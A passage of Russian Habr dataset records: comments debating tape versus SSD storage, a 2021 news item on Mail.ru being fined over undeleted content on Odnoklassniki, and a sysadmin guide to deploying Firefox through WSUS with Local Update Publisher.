just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Для её сценария и /dev/null годится. Что спецслужбы будут делать с ssl-трафиком?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Нет сведений про скорость записи и доступа<br/>\r\nНепонятно сколько километров пленка<br/>\r\nНет фотографий кассеты и устройства<br/>\r\nКакой интерфейс доступа для работы из клиентской операционной системы?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">заставят всех поставить сертификаты, как в Казахстане.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Самое главное не сказали: когда будут в продаже аудиокассеты с такой лентой?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Правда, за $12 500 можно купить SSD объемом в 50 ТБ, но и это очень недешево.</blockquote><p>… или можно купить 50 SSD накопителей по 2 TB каждый, или чёртову дюжину накопителей по 8 TB с суммарной ёмкостью 100 TB, — по цене около $10000 за все.</p><br/>\r\n<p>А ленты… их на пыльную полку не положить, нужны специальные условия для хранения и эксплуатации — т.е. к стоимости накопителей добавляется стоимость инфраструктуры для их использования и хранения, и расходы возрастают на порядки.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Увы.</p><br/>\r\n<p>Пишут и хранят операторы связи, на них давит закон, лицензия и Контора. Не выполнил требования — потерял лицензию (читай, бизнес).</p><br/>\r\n<p>Так что затраты на хранение — затраты не бюджета, а бизнеса. Естественно, они переносятся на потребителя, но это уже вторая серия.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>А ленты… их на пыльную полку не положить, нужны специальные условия для хранения и эксплуатации</blockquote><p>Да ладно! Выглядит как притянутое за уши утверждение. Можете привести какую-нибудь ссылку на официальную спецификацию таких \"специальных\" условий?<br/>\r\nА спец условия какие? В атмосфере гелия при Т -80?<br/>\r\nА что это за инфраструктура, которая увеличивает расходы на порядки? Звучит как сенсация в стиле \"Страшная правда об LTO\"</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а скорость чтения/записи какая?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я могу привести ссылку на сотни погибших лент, который лежали в помещении при температуре около 30 градусов днём и 15 градусов ночью — сойдёт за неофициальную спецификацию? Что примечательно, лежавшие в том же помещении HDD совершенно не пострадали.</p><br/>\r\n<p>Хотя если говорить про производителя — то официально для длительного хранения нужна температура от 16 до 25°C, с относительной влажностью от 20 до 50% (правда, ни слова про то что будет если она будет колебаться в этих пределах ежедневно).</p><br/>\r\n<p>Теперь мысленно перенесемся в климатическую зону где температуры и влажность \"на улице\" сильно за пределами этой спецификации большую часть года — и получаем \"спецусловия\" — помещение со стабильной температурой и влажностью, т.е. кондиционированием, а не \"бросил и забыл\". Хотя да — в условиях DC это и так уже есть, тут можно сэкономить, но ведь ленты используются не только в DC, правда ведь?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я так и думал, все основано на вашем субъективном опыте и на пространном теоретизировании.<br/>\r\nПро сотни погибших да и еще от простого перепада 15-30 просто смешно.</p><br/>\r\n<p>Шкафа в нормальной серверной достаточно, чтобы не иметь никаких проблем.<br/>\r\nА ваш конечный вывод про увеличение расходов на порядки (т.е. в 100 раз минимум) — просто вызывает полное недоверие ко всему сказанному вами выше.</p><br/>\r\n<p>И да, забыл добавить: имею опыт обслуживания библиотеки из 2000 LTO кассет в средней полосе. Все стоит в обычной серверной без какого либо экстрима по кондиционированию. За 7 лет была только одна проблема — уронили кассету на пол, что вызвало выпадение pin-holderа. Вставили на место — и больше никаких проблем.<br/>\r\nВне библиотеки кассеты хранились в обычном шкафу в этой же серверной.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>от простого перепада 15-30 просто смешно</blockquote><p>Это когда один раз перепад — смешно, а когда это происходит два-три месяца каждый день — уже не смешно. Хотя попробуйте, может таки посмеетесь.</p><br/>\r\n<blockquote>на порядки (т.е. в 100 раз минимум) </blockquote><p>В 10 тоже. Посчитайте затраты на помещение с кондиционированием в жарком или холодном климате, если у вас нет DC а небольшая совсем не IT компания.</p><br/>\r\n<blockquote>Все стоит в обычной серверной без какого либо экстрима по кондиционированию. </blockquote><p>Вот — \"обычная серверная\" уже предполагает кондиционирование и предоставляет необходимый режим. Но \"обычные серверные\" есть не у всех, знаете-ли, а данные хранить где-то нужно — посему покупаются (уже нет) устройства для ленточек (слава рекламе и пробивным продажникам) и потом получаем проблемы.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Обычное офисное помещение, где людям комфортно, уже достаточно. Домашний микроклимат — аналогично. Не нужно специально для использования лент что-то строить и увеличивать расходы \"на порядки\".<br/>\r\nВообще, первый раз слышу, чтобы стояла остро проблема каких-то специальных условий для использования лент у обычных контор с обычными условиями в офисах и тех помещениях, хотя круг общения с людьми, обслуживающих такого рода оборудование, довольно широк.</p><br/>\r\n<p>Я уверен, вы чего-то недоговариваете или преувеличиваете. Думаю, что в вашем случае это был сарай, который пропекался солнцем, а ночью там выпадала роса, да немного протекала крыша вдобавок. Плесени на кассетах не было?<br/>\r\nА то ведь еще выясниться, что их нужно еще и в стерильном боксе хранить :)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">SSL over SSL</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В то, что SSD через 10 лет лежания прочитается без ошибок (да и вообще нормально в системе определится), я не верю — заряд ячеек утечёт. Даже если взять серверный самсунг на MLC памяти, которой утечка не так страшна как TLC/QLC, и то в спецификации есть строчка, что гарантирована сохранность данных в 3 месяца, если диск лежит при 40 градусах (<a href=\"https://images.samsung.com/is/content/samsung/p5/ru/ssd/info/docs/SSD_SM883_OEM_specs_RU.pdf\" rel=\"nofollow\">увы</a>).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Да, данные вроде как сейчас месяц, метаданные — три года.</p><br/>\r\n<p>При больших объёмах лента с учётом стоимости простого стримера несколько дешевле и, думаю, несколько компактнее, чем HDD, если сравнивать HDD и стандарт ленты одного и того же года выпуска.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну 12 плюсов стоит, значит людей устраивает такое.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что нельзя что ли ssd объединить в массив с непрерывной памятью? Зачем использовать ленты</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Живу в Казахстане. Вроде такого нет. <br/>\r\nЕдинственное для работы ЭЦП на гос сайтах надо устанавливать java апплет и пару сертификатов. Но это не так массово. Да и установить можно отдельно</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Из картинки следует, что в продакшене оно будет лет через 10. Грустненько…</div>" ], "message_markdown": [ "Какой смысл сравнивать по цене быстрые ssd диски с лентой? У них совершенно разные сценарии использования. С таким же эффектом могу заявить, что мой мопед на 1 литре бензина проедет большее расстояние, чем Бугатти Вейрон. Понятно, что есть рекорд в плотности хранения информации, но ssd то здесь причем?", "Ирине Яровой на радость. Для её сценария использования (раз записали и маловероятно, что потом прочитаем) лента подходит лучше всего.", "> Кстати, продолжительное время стандартом магнитных лет в индустрии был LTO-9, с возможностью хранения до 24 ТБ информации.\nВо-первых, почему \"продолжительное время был\", если он вышел только 3 месяца назад?\nВо-вторых, откуда вылезли эти цифры (24 ТБ), когда в LTO-9 объем кассеты 18TB/45TB(compressed)?", "Здесь вся статья — ведро впопыхах накиданных цифр вперемешку со случайными [непроверенными] фактами.\nКонец года, план по буквам горит.", "UFO just landed and posted this here", "Для её сценария и /dev/null годится. Что спецслужбы будут делать с ssl-трафиком?", "Нет сведений про скорость записи и доступа\nНепонятно сколько километров пленка\nНет фотографий кассеты и устройства\nКакой интерфейс доступа для работы из клиентской операционной системы?", "заставят всех поставить сертификаты, как в Казахстане.", "UFO just landed and posted this here", "Самое главное не сказали: когда будут в продаже аудиокассеты с такой лентой?", "> Правда, за $12 500 можно купить SSD объемом в 50 ТБ, но и это очень недешево.\n... или можно купить 50 SSD накопителей по 2 TB каждый, или чёртову дюжину накопителей по 8 TB с суммарной ёмкостью 100 TB, — по цене около $10000 за все.\nА ленты... их на пыльную полку не положить, нужны специальные условия для хранения и эксплуатации — т.е. к стоимости накопителей добавляется стоимость инфраструктуры для их использования и хранения, и расходы возрастают на порядки.", "Увы.\nПишут и хранят операторы связи, на них давит закон, лицензия и Контора. Не выполнил требования — потерял лицензию (читай, бизнес).\nТак что затраты на хранение — затраты не бюджета, а бизнеса. Естественно, они переносятся на потребителя, но это уже вторая серия.", "UFO just landed and posted this here", "> А ленты... их на пыльную полку не положить, нужны специальные условия для хранения и эксплуатации\nДа ладно! Выглядит как притянутое за уши утверждение. Можете привести какую-нибудь ссылку на официальную спецификацию таких \"специальных\" условий?\nА спец условия какие? В атмосфере гелия при Т -80?\nА что это за инфраструктура, которая увеличивает расходы на порядки? Звучит как сенсация в стиле \"Страшная правда об LTO\"", "а скорость чтения/записи какая?", "Я могу привести ссылку на сотни погибших лент, который лежали в помещении при температуре около 30 градусов днём и 15 градусов ночью — сойдёт за неофициальную спецификацию? Что примечательно, лежавшие в том же помещении HDD совершенно не пострадали.\nХотя если говорить про производителя — то официально для длительного хранения нужна температура от 16 до 25°C, с относительной влажностью от 20 до 50% (правда, ни слова про то что будет если она будет колебаться в этих пределах ежедневно).\nТеперь мысленно перенесемся в климатическую зону где температуры и влажность \"на улице\" сильно за пределами этой спецификации большую часть года — и получаем \"спецусловия\" — помещение со стабильной температурой и влажностью, т.е. кондиционированием, а не \"бросил и забыл\". Хотя да — в условиях DC это и так уже есть, тут можно сэкономить, но ведь ленты используются не только в DC, правда ведь?", "Я так и думал, все основано на вашем субъективном опыте и на пространном теоретизировании.\nПро сотни погибших да и еще от простого перепада 15-30 просто смешно.\nШкафа в нормальной серверной достаточно, чтобы не иметь никаких проблем.\nА ваш конечный вывод про увеличение расходов на порядки (т.е. в 100 раз минимум) — просто вызывает полное недоверие ко всему сказанному вами выше.\nИ да, забыл добавить: имею опыт обслуживания библиотеки из 2000 LTO кассет в средней полосе. Все стоит в обычной серверной без какого либо экстрима по кондиционированию. За 7 лет была только одна проблема — уронили кассету на пол, что вызвало выпадение pin-holderа. Вставили на место — и больше никаких проблем.\nВне библиотеки кассеты хранились в обычном шкафу в этой же серверной.", "> от простого перепада 15-30 просто смешно\nЭто когда один раз перепад — смешно, а когда это происходит два-три месяца каждый день — уже не смешно. Хотя попробуйте, может таки посмеетесь.\n> на порядки (т.е. в 100 раз минимум)\nВ 10 тоже. Посчитайте затраты на помещение с кондиционированием в жарком или холодном климате, если у вас нет DC а небольшая совсем не IT компания.\n> Все стоит в обычной серверной без какого либо экстрима по кондиционированию.\nВот — \"обычная серверная\" уже предполагает кондиционирование и предоставляет необходимый режим. Но \"обычные серверные\" есть не у всех, знаете-ли, а данные хранить где-то нужно — посему покупаются (уже нет) устройства для ленточек (слава рекламе и пробивным продажникам) и потом получаем проблемы.", "Обычное офисное помещение, где людям комфортно, уже достаточно. Домашний микроклимат — аналогично. Не нужно специально для использования лент что-то строить и увеличивать расходы \"на порядки\".\nВообще, первый раз слышу, чтобы стояла остро проблема каких-то специальных условий для использования лент у обычных контор с обычными условиями в офисах и тех помещениях, хотя круг общения с людьми, обслуживающих такого рода оборудование, довольно широк.\nЯ уверен, вы чего-то недоговариваете или преувеличиваете. Думаю, что в вашем случае это был сарай, который пропекался солнцем, а ночью там выпадала роса, да немного протекала крыша вдобавок. Плесени на кассетах не было?\nА то ведь еще выясниться, что их нужно еще и в стерильном боксе хранить :)", "SSL over SSL", "В то, что SSD через 10 лет лежания прочитается без ошибок (да и вообще нормально в системе определится), я не верю — заряд ячеек утечёт. Даже если взять серверный самсунг на MLC памяти, которой утечка не так страшна как TLC/QLC, и то в спецификации есть строчка, что гарантирована сохранность данных в 3 месяца, если диск лежит при 40 градусах (увы).", "Да, данные вроде как сейчас месяц, метаданные — три года.\nПри больших объёмах лента с учётом стоимости простого стримера несколько дешевле и, думаю, несколько компактнее, чем HDD, если сравнивать HDD и стандарт ленты одного и того же года выпуска.", "UFO just landed and posted this here", "Ну 12 плюсов стоит, значит людей устраивает такое.", "А что нельзя что ли ssd объединить в массив с непрерывной памятью? Зачем использовать ленты", "UFO just landed and posted this here", "Живу в Казахстане. Вроде такого нет.\nЕдинственное для работы ЭЦП на гос сайтах надо устанавливать java апплет и пару сертификатов. Но это не так массово. Да и установить можно отдельно", "Из картинки следует, что в продакшене оно будет лет через 10. Грустненько..." ], "author": [ "Андрей (r_a_v)", "romancelover", "And (livsius)", "Just Habra User (justhabrauser)", "{}", "staticmain", "litos (litos)", "BigBeerman", "{}", "Maxim Pershin (waul)", "Tangeman", "mapnik", "{}", "And (livsius)", "mariarty (mariarty)", "Tangeman", "And (livsius)", "Tangeman", "And (livsius)", "Эл Кохолик (JerleShannara)", "Эл Кохолик (JerleShannara)", "mapnik", "{}", "Михаил Шатилов (iproger)", "Nibiru1", "{}", "Karpets Pavel (Pavel1114)", "Михаил Васильев (mickvav)" ], "children": [ [ 22436350 ], [ 22436398, 22437046 ], [ 22436180 ], [ 22440688 ], [], [ 22436574 ], [], [ 22438950, 22450722 ], [ 22437276 ], [ 22440678 ], [ 22437564, 22439014 ], [ 22437386 ], [ 22439556 ], [ 22437850 ], [], [ 22438026 ], [ 22438366 ], [ 22438604 ], [], [], [], [], [], [], [ 22446096 ], [], [], [] ] }
590,273
ru
https://habr.com/ru/post/590273/
Московский суд оштрафовал Mail.ru на 3 млн рублей за неудаление запрещенного контента
19 ноября 2021 года Мировой суд Савеловского района Москвы оштрафовал Mail.ru на 3 млн рублей за неудаление запрещенного контента в соцсети «Одноклассники». Административный штраф был выписан компании на основе протокола Роскомнадзора от 11 ноября. У Mail.ru есть 60 суток на выплату штрафа с момента, когда решение суда вступит в законную силу. Компания собирается оспорить это решение суда. Ее представитель пояснил СМИ, что соцсеть «Одноклассники» соблюдает законодательство РФ и рассматривает все корректные обращения от государственных органов и исполняет их в срок. Это уже третий штраф Mail.ru за неудаление запрещенного контента. В начале марта Савеловский суд Москвы вынес постановления по двум административным делам (05-0245/345/2021 и 05-0246/345/2021) против ООО «Мейл.ру» и назначил компании наказание в виде двух штрафов по 2 млн рублей за вовремя не удаленный контент в соцсети «Одноклассники». Штрафы были наложены после получения и изучения судом протоколов РКН по части 2 статьи 13.41 КоАП РФ. Согласно нормам ст. 13.41 КоАП РФ, вступившим в силу с 10.01.2021 (Федеральный закон от 30.12.2020 No 511-ФЗ), нарушение порядка ограничения доступа к запрещенной информации владельцем сайта или информационного ресурса в сети Интернет влечёт наложение административного штрафа на юридических лиц в размере от 800 тыс. до 4 млн рублей. Новый штраф по протоколу Роскомнадзора на Mail.ru был составлен по части 4 статьи 13.41 КоАП РФ. Штраф по пункту уже более серьезнее — от 3 до 8 млн рублей. Суд наложил на компанию минимальное взыскание. 1 ноября 2021 года Роскомнадзор отчитался в своем Telegram-канале, что с начала года ведомство выписало российским и зарубежным соцсетям и сервисам протоколов, по которым судом были наложены штрафы на сумму более 190 млн рублей за неудаление запрещённой информации. На текущий момент только две зарубежные IT-компании оплатили штрафы — TikTok и Google. Другие компании начинали по ним процесс обжалования, но российский суд уже несколько раз отказывал им в жалобах.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/webt/fw/oc/t_/fwoct_ztkmjnz1oxbton_xbogjq.jpeg" data-src="https://habrastorage.org/webt/fw/oc/t_/fwoct_ztkmjnz1oxbton_xbogjq.jpeg" data-blurred="true"/><br/> <br/> 19 ноября 2021 года Мировой суд Савеловского района Москвы <a href="https://www.interfax.ru/russia/803968" rel="nofollow noopener noreferrer">оштрафовал</a> Mail.ru на 3 млн рублей за неудаление запрещенного контента в соцсети «Одноклассники». Административный штраф был выписан компании на основе <a href="https://habr.com/ru/news/t/588725/">протокола</a> Роскомнадзора от 11 ноября.<br/> <a name="habracut"></a><br/> У Mail.ru есть 60 суток на выплату штрафа с момента, когда решение суда вступит в законную силу. Компания собирается оспорить это решение суда. Ее представитель пояснил СМИ, что соцсеть «Одноклассники» соблюдает законодательство РФ и рассматривает все корректные обращения от государственных органов и исполняет их в срок. <br/> <br/> Это уже третий штраф Mail.ru за неудаление запрещенного контента.<br/> <br/> В начале марта Савеловский суд Москвы <a href="https://habr.com/ru/news/t/545748/">вынес</a> постановления по двум административным делам (<a href="https://mos-sud.ru/345/cases/admin/details/778d2a0c-b67e-49b1-8715-3f4268589d4a?documentMainArticle=13.41&amp;formType=fullForm" rel="nofollow noopener noreferrer">05-0245/345/2021</a> и <a href="https://mos-sud.ru/345/cases/admin/details/ab0405d7-1fb0-478c-9b87-e665a915c0ce?documentMainArticle=13.41&amp;formType=fullForm" rel="nofollow noopener noreferrer">05-0246/345/2021</a>) против ООО «Мейл.ру» и назначил компании наказание в виде двух штрафов по 2 млн рублей за вовремя не удаленный контент в соцсети «Одноклассники». Штрафы были наложены после получения и изучения судом протоколов РКН по части 2 статьи 13.41 КоАП РФ.<br/> <br/> Согласно нормам <a href="http://www.consultant.ru/document/cons_doc_LAW_34661/b4266811be0cfdef4f881b403ba832644e2d939f/" rel="nofollow noopener noreferrer">ст. 13.41 КоАП РФ</a>, вступившим в силу с 10.01.2021 (Федеральный закон от 30.12.2020 № 511-ФЗ), нарушение порядка ограничения доступа к запрещенной информации владельцем сайта или информационного ресурса в сети Интернет влечёт наложение административного штрафа на юридических лиц в размере от 800 тыс. до 4 млн рублей.<br/> <br/> Новый штраф по протоколу Роскомнадзора на Mail.ru был составлен по части 4 статьи 13.41 КоАП РФ. Штраф по пункту уже более серьезнее — от 3 до 8 млн рублей. Суд наложил на компанию минимальное взыскание.<br/> <br/> 1 ноября 2021 года Роскомнадзор <a href="https://habr.com/ru/news/t/586754/">отчитался</a> в своем Telegram-канале, что с начала года ведомство выписало российским и зарубежным соцсетям и сервисам протоколов, по которым судом были наложены штрафы на сумму более 190 млн рублей за неудаление запрещённой информации. На текущий момент только две зарубежные IT-компании оплатили штрафы — TikTok и Google. Другие компании начинали по ним процесс обжалования, но российский суд уже несколько раз отказывал им в жалобах.</div>
Денис (denis-19)
null
null
<img src="https://habrastorage.org/webt/fw/oc/t_/fwoct_ztkmjnz1oxbton_xbogjq.jpeg"><br> <br> 19 ноября 2021 года Мировой суд Савеловского района Москвы <a href="https://www.interfax.ru/russia/803968" rel="nofollow noopener noreferrer">оштрафовал</a> Mail.ru на 3 млн рублей за неудаление запрещенного контента в соцсети «Одноклассники». Административный штраф был выписан компании на основе <a href="https://habr.com/ru/news/t/588725/">протокола</a> Роскомнадзора от 11 ноября.<br>
19 ноября 2021 года Мировой суд Савеловского района Москвы оштрафовал Mail.ru на 3 млн рублей за неудаление запрещенного контента в соцсети «Одноклассники». Административный штраф был выписан компании на основе протокола Роскомнадзора от 11 ноября.
news
1,637,329,259
{ "commentsCount": 0, "favoritesCount": 1, "readingCount": 1543, "score": 7, "votesCount": 9, "votesCountPlus": 8, "votesCountMinus": 1 }
[]
[ "business-laws", "social_networks", "itcompanies" ]
[ "management", "popsci" ]
[ "Mail.ru", "штраф", "Одноклассники", "запрещенный контент", "РКН", "роскомнадзор" ]
2
null
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
150,518
ru
https://habr.com/ru/post/150518/
Установка любого программного обеспечения средствами WSUS
В своей предыдущей статье про создание msi-пакетов я описал способ как запаковать любое приложение в msi. MSI-пакеты я использовал для развертывания приложений через GPO, но к сожалению данный метод меня крайне разочаровал по нескольким причинам: установка только при загрузке компьютера, т.е. пользователю приходится дожидаться окончания установки, а иногда требуется побыстрее начать работу. Из этого вытекает, что некоторые не дожидаются и грубо перезагружают компьютер, результатом чего является недоустановленное ПО. Мне все это надоело и я вспомнил, что где-то читал про установку сторонних обновлений через WSUS. Действительно, способ относительно не новый и осуществляется с помощью Local Update Publisher, про установку которого есть достаточно полная статья. Особенностью данного метода развертывания ПО помимо всех преимуществ WSUS является возможность установки из exe и нет необходимости перепаковки в msi. И если с публикацией msi все понятно, то я хочу рассказать про установку через exe, в которой есть особенности. Итак, я подразумеваю, что у вас уже развернут и успешно функционирует Local Update Publisher поэтому перейдем сразу к делу. Пример установки будет, как и в прошлый раз, для Mozilla Firefox, предыдущей на текущий момент версии 14.0.1 с последующим обновлением до последней версии 15. #### Создание пакета установки 1. Открываете оснастку LUP и жмете Tools -> Create Update, в открывшемся окне жмете Browse и находите нужный установочный файл. Если в дистрибутиве софта помимо исполняемого файла есть еще файлы или каталоги, то дополнительно можете их добавить через Add Dir / Add files, естественно сохранив оригинальную структуру каталогов. Далее. 2. Поля Vendor и Product обязательны для заполнения, можете так же поменять Package Title и Description Последнее поле — Command Line, в нашем случае его требуется заполнить, а для Firefox автоматическая тихая установка пройдет с параметрами -ms-ira Здесь пока все, жмем Next. 3. В следующем окне необходимо указать Installed Rules, т.е. критерии по которым будет определяться, что ПО уже установлено. Жмите Add Rule и типом правила укажите Registry Version in SZ, т.е. мы будем определять наличие Firefox путем сравнения версии в определенной ветке реестра. Родной инсталлятор огнелиса корректно записывает свою версию в раздел Uninstall. Все заполненные поля видно на скриншоте. Отдельно скажу, что для х32 приложений нужно поставить соответствующую галку, тогда оно будет корректно установлено и в х32 и в х64 системах. Жмите Save Rule и не забудьте сохранить созданное правило через Save Rules, в дальнейшем оно еще пригодится. Next. 4. Installable Rules — правила, которые должны выполняться для возможности установки ПО. Почти все то же самое, за исключением критериев сравнения (Compasrion). На самом деле, для Firefox или того же Thunderbird это не так важно, т.к. родной инсталлятор создает новый раздел реестра и удаляет старый, т.е. сравнивать будет все равно не с чем, но для примера нам вполне подходит. Не забудьте сохранить правила и жмите Next 5. Superseded Rules — правила определяющие что заменяет данный пакет. Для установки через exe — не актуально. Далее. 6. На экране Rule Metadata мы можем заполнить какие-то метаданные о пакете, но для exe я применений не нашел. 7. Последний экран — сводная информация о создаваемом пакете. Finish. Готово. Выбираете Вновь созданный пакет и одобряете его для нужной WSUS-группы компьютеров. #### Обновление пакета Точнее не обновление, а создание нового, т.к. таковое обновление невозможно. Свежайшая версия Firefox — 15, повторяйте те же шаги, но с некоторыми нюансами: 1. Аналогично первому шагу 2. Обратите внимание на конпку Superseds, нажав на нее выберите заменяемый пакет Mozilla Firefox 14.0.1 (или как вы там его назвали). Не забудьте про Command Line 3. Загрузите ваше правило для «Installed» и помеяйте путь до раздела реестра и номера версии в соответствии с установкой Firefox 15 4. Точно так же для правил «Installable» 5. Все остальные шаги полностью аналогичны Ну и все. Выполните Approve нового пакета и можно на этом закончить. От себя добавлю, что удаляю старые замененные пакеты, как говорится, во избежание. Кстати, обязательно обкатывайте установку ПО на некоторых компьютерах в тест-группе. Мало ли что пойдет не так. P.S. Я прекрасно знаю, что для Firefox есть MSI-сборка. Но во-первых, я не сторонник чьих-то сторонних сборок, ну и во-вторых, это всего-лишь пример. Да, и еще, я знаю, что существуют различные средства для централизованного развертывания ПО, но они либо платные, либо неудобны, а WSUS прост и уже используется практически везде, где есть Windows.
<div xmlns="http://www.w3.org/1999/xhtml">В своей предыдущей статье про <a href="http://habrahabr.ru/post/141719/">создание msi-пакетов</a> я описал способ как запаковать любое приложение в msi. MSI-пакеты я использовал для развертывания приложений через GPO, но к сожалению данный метод меня крайне разочаровал по нескольким причинам: установка только при загрузке компьютера, т.е. пользователю приходится дожидаться окончания установки, а иногда требуется побыстрее начать работу. Из этого вытекает, что некоторые не дожидаются и грубо перезагружают компьютер, результатом чего является недоустановленное ПО. Мне все это надоело и я вспомнил, что где-то читал про установку сторонних обновлений через WSUS. Действительно, способ относительно не новый и осуществляется с помощью <a href="http://sourceforge.net/projects/localupdatepubl/">Local Update Publisher</a>, про установку которого есть достаточно полная <a href="http://www.osp.ru/win2000/2011/03/13009259/">статья</a>. Особенностью данного метода развертывания ПО помимо всех преимуществ WSUS является возможность установки из exe и нет необходимости перепаковки в msi. И если с публикацией msi все понятно, то я хочу рассказать про установку через exe, в которой есть особенности.<br/> <a name="habracut"></a><br/> Итак, я подразумеваю, что у вас уже развернут и успешно функционирует Local Update Publisher поэтому перейдем сразу к делу. Пример установки будет, как и в прошлый раз, для<b> Mozilla Firefox</b>, предыдущей на текущий момент версии 14.0.1 с последующим обновлением до последней версии 15.<br/> <br/> <h4>Создание пакета установки</h4><br/> <ol> <li> Открываете оснастку LUP и жмете <b>Tools -> Create Update</b>, в открывшемся окне жмете <b>Browse</b> и находите нужный установочный файл. Если в дистрибутиве софта помимо исполняемого файла есть еще файлы или каталоги, то дополнительно можете их добавить через <b>Add Dir / Add files</b>, естественно сохранив оригинальную структуру каталогов. Далее.</li> <li> Поля <b>Vendor</b> и <b>Product</b> обязательны для заполнения, можете так же поменять<b> Package Title</b> и <b>Description</b><br/> Последнее поле — <b>Command Line</b>, в нашем случае его требуется заполнить, а для Firefox автоматическая тихая установка пройдет с параметрами <b>-ms-ira</b> Здесь пока все, жмем Next.</li> <li>В следующем окне необходимо указать <b>Installed Rules</b>, т.е. критерии по которым будет определяться, что ПО уже установлено. Жмите <b>Add Rule</b> и типом правила укажите <b>Registry Version in SZ</b>, т.е. мы будем определять наличие Firefox путем сравнения версии в определенной ветке реестра. Родной инсталлятор огнелиса корректно записывает свою версию в раздел Uninstall. Все заполненные поля видно на скриншоте.<br/> <img src="https://habrastorage.org/r/w1560/storage2/f73/95d/390/f7395d390f1c52860048b66989bca39a.png" data-src="https://habrastorage.org/storage2/f73/95d/390/f7395d390f1c52860048b66989bca39a.png"/><br/> Отдельно скажу, что для х32 приложений нужно поставить соответствующую галку, тогда оно будет корректно установлено и в х32 и в х64 системах. Жмите <b>Save Rule</b> и не забудьте сохранить созданное правило через <b>Save Rules</b>, в дальнейшем оно еще пригодится. Next.</li> <li><b>Installable Rules</b> — правила, которые должны выполняться для возможности установки ПО. Почти все то же самое, за исключением критериев сравнения (<b>Compasrion</b>).<br/> <img src="https://habrastorage.org/r/w1560/storage2/979/f39/135/979f39135f4c5ee1a6d08166e7da0602.png" data-src="https://habrastorage.org/storage2/979/f39/135/979f39135f4c5ee1a6d08166e7da0602.png"/><br/> На самом деле, для Firefox или того же Thunderbird это не так важно, т.к. родной инсталлятор создает новый раздел реестра и удаляет старый, т.е. сравнивать будет все равно не с чем, но для примера нам вполне подходит. Не забудьте сохранить правила и жмите Next</li> <li><b>Superseded Rules</b> — правила определяющие что заменяет данный пакет. Для установки через exe — не актуально. Далее.</li> <li>На экране <b>Rule Metadata</b> мы можем заполнить какие-то метаданные о пакете, но для exe я применений не нашел. </li> <li>Последний экран — сводная информация о создаваемом пакете. Finish.</li> </ol><br/> Готово. Выбираете Вновь созданный пакет и одобряете его для нужной WSUS-группы компьютеров.<br/> <br/> <h4>Обновление пакета</h4><br/> Точнее не обновление, а создание нового, т.к. таковое обновление невозможно. Свежайшая версия Firefox — 15, повторяйте те же шаги, но с некоторыми нюансами:<br/> <ol> <li> Аналогично первому шагу</li> <li> Обратите внимание на конпку <b>Superseds</b>, нажав на нее выберите заменяемый пакет Mozilla Firefox 14.0.1 (или как вы там его назвали). Не забудьте про Command Line</li> <li> Загрузите ваше правило для «Installed» и помеяйте путь до раздела реестра и номера версии в соответствии с установкой Firefox 15 </li> <li> Точно так же для правил «Installable»</li> <li> Все остальные шаги полностью аналогичны</li> </ol><br/> <br/> Ну и все. Выполните <b>Approve</b> нового пакета и можно на этом закончить. От себя добавлю, что удаляю старые замененные пакеты, как говорится, во избежание. Кстати, обязательно обкатывайте установку ПО на некоторых компьютерах в тест-группе. Мало ли что пойдет не так.<br/> <br/> P.S. Я прекрасно знаю, что для Firefox есть MSI-сборка. Но во-первых, я не сторонник чьих-то сторонних сборок, ну и во-вторых, это всего-лишь пример. Да, и еще, я знаю, что существуют различные средства для централизованного развертывания ПО, но они либо платные, либо неудобны, а WSUS прост и уже используется практически везде, где есть Windows.</div>
Выдрин Михаил (yosemity)
null
null
В своей предыдущей статье про <a href="http://habrahabr.ru/post/141719/">создание msi-пакетов</a> я описал способ как запаковать любое приложение в msi. MSI-пакеты я использовал для развертывания приложений через GPO, но к сожалению данный метод меня крайне разочаровал по нескольким причинам: установка только при загрузке компьютера, т.е. пользователю приходится дожидаться окончания установки, а иногда требуется побыстрее начать работу. Из этого вытекает, что некоторые не дожидаются и грубо перезагружают компьютер, результатом чего является недоустановленное ПО. Мне все это надоело и я вспомнил, что где-то читал про установку сторонних обновлений через WSUS. Действительно, способ относительно не новый и осуществляется с помощью <a href="http://sourceforge.net/projects/localupdatepubl/">Local Update Publisher</a>, про установку которого есть достаточно полная <a href="http://www.osp.ru/win2000/2011/03/13009259/">статья</a>. Особенностью данного метода развертывания ПО помимо всех преимуществ WSUS является возможность установки из exe и нет необходимости перепаковки в msi. И если с публикацией msi все понятно, то я хочу рассказать про установку через exe, в которой есть особенности.<br/>
